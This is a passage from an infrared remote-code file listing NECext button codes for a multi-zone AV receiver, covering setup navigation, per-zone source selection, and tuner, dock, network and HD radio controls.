00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 63 00 00 00 +# +name: SETUP_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: SOURCE:TUNING/CH- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: MZ_OP-TUNING_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: SRCE:_MZ_CURS_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 64 00 00 00 +# +name: SETUP_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: Z2:SOURCE:TUNING/CH- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: Z2_OP-TUNING_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: SRCE:_MZ_CURS_DN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 65 00 00 00 +# +name: NETUSB:_MZ_PC/MC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 66 00 00 00 +# +name: OPERATION_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 00 00 00 +# +name: SOURCE:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 00 00 00 +# +name: MZ_SOURCE_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 00 00 00 +# +name: DOCK:_MZ_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 67 00 00 00 +# +name: OPERATION_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 68 00 00 00 +# +name: DOCK:_MZ_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 68 00 00 00 +# +name: NETUSB:_MZ_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 68 00 00 00 +# +name: OPERATION_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 69 00 00 00 +# +name: DOCK:_MZ_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 69 00 00 00 +# +name: NETUSB:_MZ_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 69 00 00 00 +# +name: OPERATION_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6A 00 00 00 +# +name: DOCK:_MZ_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6A 00 00 00 +# +name: NETUSB:_MZ_NRADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6A 00 00 00 +# +name: OPERATION_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6B 00 00 00 +# +name: DOCK:_MZ_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6B 00 00 00 +# +name: NETUSB:_MZ_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6B 00 00 00 +# +name: OPERATION_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6C 00 00 00 +# +name: DOCK:_MZ_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6C 00 00 00 +# +name: HDRADIO:_MZ_PROG- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6C 00 00 00 +# +name: NETUSB:_MZ_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6C 00 00 00 +# +name: OPERATION_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6D 00 00 00 +# +name: DOCK:_MZ_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6D 00 00 00 +# +name: HDRADIO:_MZPROG+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6D 00 00 00 +# +name: NETUSB:_MZ_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6D 00 00 00 +# +name: OPERATION_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 6E 00 00 00 +# +name: SRCE:_Z2_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 71 00 00 00 +# +name: Z2_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 71 00 00 00 +# +name: Z2_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 71 00 00 00 +# +name: SRCE:_Z2_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 72 00 00 00 +# +name: Z2_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 72 00 00 00 +# +name: Z2_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 72 00 00 00 +# +name: SRCE:_Z2_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 73 00 00 00 +# +name: Z2_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 73 00 00 00 +# +name: SRCE:_Z2_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 74 00 00 00 +# +name: Z2_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 74 00 00 00 +# +name: Z2_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 74 00 00 00 +# +name: SRCE:_Z2_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 75 00 00 00 +# +name: Z2_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 75 00 00 00 +# +name: SRCE:_Z2_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 76 00 00 00 +# +name: Z2_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 76 00 00 00 +# +name: Z2_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 76 00 00 00 +# +name: SRCE:_Z2_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 77 00 00 00 +# +name: Z2_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 77 00 00 00 +# +name: SRCE:_Z2_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 78 00 00 00 +# +name: Z2_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 78 00 00 00 +# +name: Z2_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 78 00 00 00 +# +name: SRCE:_Z2_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 79 00 00 00 +# +name: Z2_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 79 00 00 00 +# +name: Z2_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 79 00 00 00 +# +name: SRCE:_Z2_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7A 00 00 00 +# +name: Z2_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7A 00 00 00 +# +name: Z2_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7A 00 00 00 +# +name: TUNER:_Z2_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7C 00 00 00 +# +name: XM:_Z2_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7C 00 00 00 +# +name: Z2_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7C 00 00 00 +# +name: Z2_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7C 00 00 00 +# +name: TUNER:_Z2_BAND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7D 00 00 00 +# +name: XM:_Z2_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7D 00 00 00 +# +name: DOCK:_Z2_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7E 00 00 00 +# +name: NETUSB:_Z2_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7E 00 00 00 +# +name: TUNER:_Z2_SRCHM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7E 00 00 00 +# +name: XM:_Z2_SRCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7E 00 00 00 +# +name: SRCE:_Z2_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 7F 00 00 00 +# +name: SRCE:_Z2_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 80 00 00 00 +# +name: SRCE:_Z2_CURS_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 81 00 00 00 +# +name: SRCE:_Z2_CURS_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 82 00 00 00 +# +name: Z3_SOURCE:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 82 00 00 00 +# +name: SRCE:_Z2_CURS_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 83 00 00 00 +# +name: SRCE:_Z2_CURS_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 84 00 00 00 +# +name: SRCE:_Z2_CURS_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 85 00 00 00 +# +name: NETUSB:_Z2_PC/MC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 86 00 00 00 +# +name: DOCK:_Z2_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 87 00 00 00 +# +name: Z2_OPERATION_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 87 00 00 00 +# +name: Z2_OPERATION_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 87 00 00 00 +# +name: DOCK:_Z2_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 88 00 00 00 +# +name: NETUSB:_Z2_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 88 00 00 00 +# +name: Z2_OPERATION_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 88 00 00 00 +# +name: Z2_OPERATION_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 88 00 00 00 +# +name: DOCK:_Z2_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 89 00 00 00 +# +name: NETUSB:_Z2_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 89 00 00 00 +# +name: Z2_OPERATION_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 89 00 00 00 +# +name: Z2_OPERATION_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 89 00 00 00 +# +name: DOCK:_Z2_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8A 00 00 00 +# +name: NETUSB:_Z2_NRADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8A 00 00 00 +# +name: Z2_OPERATION_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8A 00 00 00 +# +name: Z2_OPERATION_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8A 00 00 00 +# +name: DOCK:_Z2_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8B 00 00 00 +# +name: NETUSB:_Z2_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8B 00 00 00 +# +name: Z2_OPERATION_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8B 00 00 00 +# +name: Z2_OPERATION_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8B 00 00 00 +# +name: DOCK:_Z2_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8C 00 00 00 +# +name: HDRADIO:_Z2_PROG_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8C 00 00 00 +# +name: NETUSB:_Z2_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8C 00 00 00 +# +name: Z2_OPERATION_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8C 00 00 00 +# +name: Z2_OPERATION_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8C 00 00 00 +# +name: DOCK:_Z2_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8D 00 00 00 +# +name: HDRADIO:_Z2_PROG+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8D 00 00 00 +# +name: NETUSB:_Z2_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8D 00 00 00 +# +name: Z2_OPERATION_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8D 00 00 00 +# +name: Z2_OPERATION_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8D 00 00 00 +# +name: Z2_OPERATION_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8E 00 00 00 +# +name: Z2_OPERATION_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 8E 00 00 00 +# +name: SRCE:_Z3_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 91 00 00 00 +# +name: Z3_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 91 00 00 00 +# +name: Z3_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 91 00 00 00 +# +name: SRCE:_Z3_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 92 00 00 00 +# +name: Z3_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 92 00 00 00 +# +name: Z3_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 92 00 00 00 +# +name: SRCE:_Z3_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 93 00 00 00 +# +name: Z3_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 93 00 00 00 +# +name: Z3_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 93 00 00 00 +# +name: SRCE:_Z3_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 94 00 00 00 +# +name: Z3_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 94 00 00 00 +# +name: Z3_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 94 00 00 00 +# +name: SRCE:_Z3_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 95 00 00 00 +# +name: Z3_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 95 00 00 00 +# +name: Z3_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 95 00 00 00 +# +name: SRCE:_Z3_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 96 00 00 00 +# +name: Z3_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 96 00 00 00 +# +name: Z3_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 96 00 00 00 +# +name: SRCE:_Z3_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 97 00 00 00 +# +name: Z3_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 97 00 00 00 +# +name: Z3_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 97 00 00 00 +# +name: SRCE:_Z3_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 98 00 00 00 +# +name: Z3_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 98 00 00 00 +# +name: Z3_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 98 00 00 00 +# +name: SRCE:_Z3_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 99 00 00 00 +# +name: Z3_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 99 00 00 00 +# +name: Z3_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 99 00 00 00 +# +name: SRCE:_Z3_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9A 00 00 00 +# +name: Z3_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9A 00 00 00 +# +name: Z3_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9A 00 00 00 +# +name: TUNER:_Z3_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9C 00 00 00 +# +name: XM:_Z3_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9C 00 00 00 +# +name: Z3:_SOURCE_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9C 00 00 00 +# +name: Z3_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9C 00 00 00 +# +name: Z3:_SOURCE_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9C 00 00 00 +# +name: TUNER:_Z3_BAND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9D 00 00 00 +# +name: XM:_Z3_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9D 00 00 00 +# +name: Z3_SOURCE:_MODE_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9D 00 00 00 +# +name: Z3_SOURCE:_MODE_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9D 00 00 00 +# +name: DOCK:_Z3_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: NETUSB:_Z3_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: TUNER:_Z3_SRCHM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: XM:_Z3_SRCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: Z3_SOURCE:_MODE_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: Z3_SOURCE:_MODE_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9E 00 00 00 +# +name: SRCE:_Z3_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9F 00 00 00 +# +name: Z3_SOURCE:_MODE_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9F 00 00 00 +# +name: Z3_SOURCE:_MODE_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 9F 00 00 00 +# +name: SRCE:_Z3_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A0 00 00 00 +# +name: Z3_SOURCE:_MODE_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A0 00 00 00 +# +name: Z3_SOURCE:_MODE_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A0 00 00 00 +# +name: SRCE:_Z3_CURS_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A1 00 00 00 +# +name: Z3_SOURCE:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A1 00 00 00 +# +name: Z3_SOURCE:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A1 00 00 00 +# +name: SRCE:_Z3_CURS_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A2 00 00 00 +# +name: Z3_SOURCE:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A2 00 00 00 +# +name: SRCE:_Z3_CURS_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A3 00 00 00 +# +name: Z3_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A3 00 00 00 +# +name: SRCE:_Z3_CURS_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A4 00 00 00 +# +name: Z3_SOURCE:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A4 00 00 00 +# +name: Z3_SOURCE:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A4 00 00 00 +# +name: SRCE:_Z3_CURS_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A5 00 00 00 +# +name: Z3_SOURCE:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A5 00 00 00 +# +name: Z3_SOURCE:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A5 00 00 00 +# +name: NETUSB:_Z3_PC/MC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A6 00 00 00 +# +name: DOCK:_Z3_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A7 00 00 00 +# +name: Z3_SOURCE:_OP_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A7 00 00 00 +# +name: Z3_SOURCE:_OP_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A7 00 00 00 +# +name: DOCK:_Z3_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A8 00 00 00 +# +name: NETUSB:_Z3_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A8 00 00 00 +# +name: Z3_SOURCE:_OP_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A8 00 00 00 +# +name: Z3_SOURCE:_OP_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A8 00 00 00 +# +name: DOCK:_Z3_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A9 00 00 00 +# +name: NETUSB:_Z3_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A9 00 00 00 +# +name: Z3_SOURCE:_OP_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A9 00 00 00 +# +name: Z3_SOURCE:_OP_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: A9 00 00 00 +# +name: DOCK:_Z3_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AA 00 00 00 +# +name: NETUSB:_Z3_NRADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AA 00 00 00 +# +name: Z3_SOURCE:_OP_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AA 00 00 00 +# +name: Z3_SOURCE:_OP_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AA 00 00 00 +# +name: DOCK:_Z3_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AB 00 00 00 +# +name: NETUSB:_Z3_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AB 00 00 00 +# +name: Z3_SOURCE:_OP_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AB 00 00 00 +# +name: Z3_SOURCE:_OP_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AB 00 00 00 +# +name: DOCK:_Z3_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AC 00 00 00 +# +name: HDRADIO:_Z3_PROG_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AC 00 00 00 +# +name: NETUSB:_Z3_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AC 00 00 00 +# +name: Z3_SOURCE:_OP_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AC 00 00 00 +# +name: Z3_SOURCE:_OP_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AC 00 00 00 +# +name: DOCK:_Z3_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AD 00 00 00 +# +name: HDRADIO:_Z3_PROG+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AD 00 00 00 +# +name: NETUSB:_Z3_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AD 00 00 00 +# +name: Z3_SOURCE:_OP_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AD 00 00 00 +# +name: Z3_SOURCE:_OP_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AD 00 00 00 +# +name: Z3_SOURCE:_OP_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AE 00 00 00 +# +name: Z3_SOURCE:_OP_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: AE 00 00 00 +# +name: SRCE:_Z4_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B1 00 00 00 +# +name: Z4_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B1 00 00 00 +# +name: Z4_SOURCE:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B1 00 00 00 +# +name: SRCE:_Z4_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B2 00 00 00 +# +name: Z4_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B2 00 00 00 +# +name: Z4_SOURCE:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B2 00 00 00 +# +name: SRCE:_Z4_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B3 00 00 00 +# +name: Z4_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B3 00 00 00 +# +name: Z4_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B3 00 00 00 +# +name: SRCE:_Z4_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B4 00 00 00 +# +name: Z4_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B4 00 00 00 +# +name: Z4_SOURCE:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B4 00 00 00 +# +name: SRCE:_Z4_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B5 00 00 00 +# +name: Z4_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B5 00 00 00 +# +name: Z4_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B5 00 00 00 +# +name: SRCE:_Z4_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B6 00 00 00 +# +name: Z4_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B6 00 00 00 +# +name: Z4_SOURCE:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B6 00 00 00 +# +name: SRCE:_Z4_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B7 00 00 00 +# +name: Z4_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B7 00 00 00 +# +name: Z4_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B7 00 00 00 +# +name: SRCE:_Z4_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B8 00 00 00 +# +name: Z4_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B8 00 00 00 +# +name: Z4_SOURCE:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B8 00 00 00 +# +name: SRCE:_Z4_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B9 00 00 00 +# +name: Z4_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B9 00 00 00 +# +name: Z4_SOURCE:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: B9 00 00 00 +# +name: SRCE:_Z4_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BA 00 00 00 +# +name: Z4_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BA 00 00 00 +# +name: Z4_SOURCE:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BA 00 00 00 +# +name: TUNER:_Z4_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BC 00 00 00 +# +name: XM:_Z4_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BC 00 00 00 +# +name: Z4_SOURCE:_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BC 00 00 00 +# +name: Z4:_SOURCE_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BC 00 00 00 +# +name: Z4:_SOURCE_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BC 00 00 00 +# +name: TUNER:_Z4_BAND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BD 00 00 00 +# +name: XM:_Z4_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BD 00 00 00 +# +name: Z4_SOURCE:_MODE_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BD 00 00 00 +# +name: Z4_SOURCE:_MODE_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BD 00 00 00 +# +name: DOCK:_Z4_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 00 00 +# +name: NETUSB:_Z4_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 00 00 +# +name: TUNER:_Z4_SRCHM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 00 00 +# +name: XM:_Z4_SRCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 00 00 +# +name: Z4_SOURCE:_MODE_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 00 00 +# +name: Z4_SOURCE:_MODE_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BE 00 